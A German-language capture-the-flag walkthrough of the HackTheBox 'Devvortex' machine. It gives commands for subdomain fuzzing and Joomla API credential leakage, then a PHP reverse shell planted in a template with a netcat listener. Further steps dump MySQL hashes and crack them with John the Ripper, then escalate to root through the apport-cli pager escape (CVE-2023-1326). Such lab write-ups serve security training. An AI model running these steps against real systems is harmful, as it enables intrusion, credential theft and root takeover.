
HackTheBox Devvortex Walkthrough mit Subdomain-Fuzzing, Joomla-API-Enumeration, template-basierter Web-Shell, bcrypt-Hash-Cracking und Apport-CLI CVE-2023-1326 Privilegieneskalation.
Ein umfassender technischer Walkthrough, der die Kompromittierung der Devvortex-Maschine auf HackTheBox detailliert beschreibt. Dieser Pfad demonstriert Subdomain-Fuzzing, Joomla-API-Enumeration, Template-Modifikation für den initialen Zugriff, Datenbank-Hash-Extraktion & Cracking für laterale Bewegung sowie die Ausnutzung von Apport-CLI (CVE-2023-1326) zur Privilegieneskalation zu root.
devvortex.htbdev.devvortex.htbapport-cli).Eine initiale schnelle TCP-Port-Erkennung wurde über alle Ports durchgeführt:
nmap -Pn -n -p- --open --min-rate 5000 <TARGET_IP>
Ein anschließender Service- und Versionserkennungsscan wurde gegen die identifizierten offenen Ports ausgeführt:
Bash
nmap -sCV --min-rate 5000 -p22,80 <TARGET_IP>
Fügen Sie die Basis-Zieldomain zur lokalen Hostnamen-Auflösungstabelle hinzu:
Bash
sudo nano /etc/hosts
# Append: <TARGET_IP> devvortex.htb
Fuzzing virtueller Hosts zur Identifizierung zusätzlicher Web-Assets:
Bash
ffuf -u [http://FUZZ.devvortex.htb](http://FUZZ.devvortex.htb) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ
Ergebnis: dev.devvortex.htb entdeckt. dev.devvortex.htb zu /etc/hosts hinzugefügt.
Enumeration von Routen auf dem neu entdeckten virtuellen Host:
Bash
ffuf -u [http://dev.devvortex.htb/FUZZ](http://dev.devvortex.htb/FUZZ) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ
Ergebnis: Der Endpunkt /administrator wurde entdeckt, der ein Joomla-Admin-Authentifizierungsportal offenlegt.
Abfragen öffentlicher Endpunkte, die von Joomlas REST-API bereitgestellt werden, um sensible Anwendungsmetriken und Benutzer zu sammeln:
Bash
curl -s [http://dev.devvortex.htb/api/index.php/v1/users?public=true](http://dev.devvortex.htb/api/index.php/v1/users?public=true)
curl -s [http://dev.devvortex.htb/api/index.php/v1/application?public=true](http://dev.devvortex.htb/api/index.php/v1/application?public=true)
Melden Sie sich mit den während der Enumeration entdeckten Anmeldedaten im Joomla-/administrator-Portal an:
Navigieren Sie zu System > Site Templates.
Wählen Sie das aktive Template aus und öffnen Sie error.php.
Ersetzen Sie den Inhalt von error.php durch eine Standard-PHP-Reverse-Shell-Payload.
Initialisieren Sie einen lokalen Netcat-Listener:
Bash
nc -lvnp 4444
Lösen Sie die Ausführung von error.php aus, indem Sie eine nicht existierende Seite anfordern oder die Datei direkt aufrufen.
Sobald die Shell als www-data verbunden ist, starten Sie eine interaktive PTY-Sitzung:
Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
Greifen Sie mit den aus den Web-Konfigurationsdateien abgerufenen Anmeldedaten auf die lokale MySQL-Datenbank zu:
Bash
mysql -u lewis -p
Fragen Sie die Benutzertabelle ab, um gespeicherte Credential-Hashes zu finden:
SQL
SHOW DATABASES;
USE joomla;
SHOW TABLES;
SELECT username, password FROM sd4fg_users;
Extrahieren Sie den bcrypt-Passwort-Hash für den Benutzer logan in eine lokale Datei:
Bash
nano hash.txt
Knacken Sie den Hash mit John the Ripper zusammen mit rockyou.txt:
Bash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Stellen Sie eine persistente SSH-Sitzung als Benutzer logan mit den geknackten Anmeldedaten her:
Bash
Bash
cat user.txt
Überprüfen Sie erlaubte Binärdateien für den Benutzer logan:
Bash
sudo -l
Ausgabe: Benutzer darf /usr/bin/apport-cli als root ausführen.
Überprüfen Sie die installierte Version von apport-cli:
Bash
apport-cli --version
Überprüfen Sie /var/crash auf vorhandene Report-Dateien. Falls leer, erstellen Sie manuell eine Crash-Datei:
Bash
echo "ProblemType: Crash" > /var/crash/.crash
Starten Sie apport-cli gegen die erstellte Crash-Datei mit sudo:
Bash
sudo /usr/bin/apport-cli -c /var/crash/.crash
Drücken Sie v, um den Report anzuzeigen.
Wenn der Paginator (less) den Inhalt lädt, entkommen Sie zu einer System-Shell, indem Sie eingeben:
Plaintext
!/bin/bash
Überprüfen Sie die Root-Elevation:
Bash
whoami
# Output: root
Bash
cat /root/root.txt